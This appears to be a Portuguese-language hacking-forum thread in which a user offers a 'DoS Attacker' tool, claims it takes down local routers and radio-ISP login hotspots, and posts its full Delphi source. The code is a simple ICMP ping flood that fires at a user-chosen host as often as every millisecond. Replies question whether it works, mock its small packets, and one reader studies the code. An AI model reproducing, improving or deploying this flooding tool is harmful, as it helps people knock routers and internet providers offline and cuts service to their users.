Utilitário/App Unknown DoS Attacker

[Thow4EveR]

Um programa para realizar ataques DoS(Ataque de negação de serviço). Ele não foi testado em grandes sites, mas derruba facil um roteador loca(foi testado aqui)l, ou um provedor de internet via radio, caso este seja autenticada por pagina de login.

Imagem:


Scanner:
Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar...

Download:
Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar...

O source será postado na área especifica.

[Anonymo11]

Deu o seguinte erro cannot allocate socket (não é possível alocar tomada) e em status ficou sem conexão igual ao seu acho que este programa e uma farsa mudarei de opinião a menos que me prove o contrario

[AmigoID]

Vou testar ;S, obrigado por postar !

[Thow4EveR]

Em suma, meu caro Anonymo11... não venho ate este forum para provar nada, ainda mais a voce. Não me submeto a esses nivels de ficar criando programas falsos com fins de invadir computadores, o objetivo é compartilhar os meus programas e isto é o que farei.

No caso da mensagem mostrada no StatusPanel1 "Sem conexão", aconteceu que eu esqueci de traduzir o texto para ingles, que no caso o fiz todo em ingles o programa. Na atualização está com a caption "Dropping".

Se resta duvidas, fica o codigo fonte para sua auto-análize:

unit Unit1;

interface

uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, IdBaseComponent, IdComponent, IdRawBase, IdRawClient,
IdIcmpClient, StdCtrls, Spin, ExtCtrls, XPMan, RzStatus, RzPanel,
RzBmpBtn, ComCtrls;

type
TForm1 = class(TForm)
Timer1: TTimer;
CheckBox1: TCheckBox;
IdIcmpClient1: TIdIcmpClient;
Memo1: TMemo;
GroupBox1: TGroupBox;
Label1: TLabel;
Label2: TLabel;
Edit1: TEdit;
SpinEdit1: TSpinEdit;
Button1: TButton;
Button2: TButton;
RadioButton1: TRadioButton;
RadioButton2: TRadioButton;
XPManifest1: TXPManifest;
RzStatusBar1: TRzStatusBar;
RzStatusPane1: TRzStatusPane;
RzStatusPane2: TRzStatusPane;
ProgressBar1: TProgressBar;
procedure IdIcmpClient1Reply(ASender: TComponent;
const AReplyStatus: TReplyStatus);
procedure IdIcmpClient1Status(ASender: TObject;
const AStatus: TIdStatus; const AStatusText: String);
procedure CheckBox1Click(Sender: TObject);
procedure Timer1Timer(Sender: TObject);
procedure Button1Click(Sender: TObject);
procedure Button2Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;

var
Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.IdIcmpClient1Reply(ASender: TComponent;
const AReplyStatus: TReplyStatus);
begin
Memo1.Lines.Add('Dropping hotspot: [' + (edit1.Text) +'] ----> Sent bytes : '+ IntToStr(AReplyStatus.BytesReceived ));
end;

procedure TForm1.IdIcmpClient1Status(ASender: TObject;
const AStatus: TIdStatus; const AStatusText: String);
begin
Memo1.Lines.Add(AStatusText);
end;

procedure TForm1.CheckBox1Click(Sender: TObject);
begin
if CheckBox1.Checked = true then begin
Edit1.Enabled := false;
SpinEdit1.Enabled := false;
Timer1.Enabled := true;

end;
if CheckBox1.Checked = false then begin
Edit1.Enabled := true;
SpinEdit1.Enabled := true;
Timer1.Enabled := false;

end;
end;

procedure TForm1.Timer1Timer(Sender: TObject);
begin
IdICMPClient1.Port := SpinEdit1.Value;
IdICMPClient1.Host := Edit1.Text;
IdICMPClient1.Ping(Edit1.Text);
ProgressBar1.Max := IdIcmpClient1.InstanceSize;
ProgressBar1.Position := IdIcmpClient1.BufferSize;
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
Edit1.Enabled := false;
SpinEdit1.Enabled := false;
Button1.Enabled := false;
RzStatusPane1.Caption := 'Status: Sem Conexão!';
if RadioButton1.Checked then
Timer1.Interval := 1
else
Timer1.Interval := 500;
Timer1.Enabled := true;
end;

procedure TForm1.Button2Click(Sender: TObject);
begin
Edit1.Enabled := true;
SpinEdit1.Enabled := true;
Button1.Enabled := true;
Timer1.Enabled := false;
RzStatusPane1.Caption := 'Status: Inato.';
end;

end.

[lammerpb123]

valeu mano pela source to estudando delphi e esse codigo vai ajudar!

[Nickguitar.dll]

72 bytes por pacote ? Fodão hein